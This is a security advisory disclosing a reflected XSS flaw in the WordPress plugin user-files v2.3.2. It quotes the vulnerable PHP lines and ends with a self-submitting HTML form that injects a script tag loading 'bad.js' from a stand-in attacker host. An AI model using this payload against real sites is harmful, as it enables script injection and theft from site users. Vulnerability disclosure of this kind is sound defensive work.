Advisory #: 1338
Title: Reflected XSS in wordpress plugin user-files v2.3.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/user-files
Downloads: 18467
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: user-files
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./user-files/user_files.php: 1059:<input type="text" id="addcat" value="<?php if($err==1){echo $_POST['addcat'];} ?>" name="addcat" /> 1271:echo $_POST['addfiles'].'<br /><p>'; The variable addcat appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./user-files/user_files.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/user-files/user_files.php method=post> <input type=hidden name=addcat value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>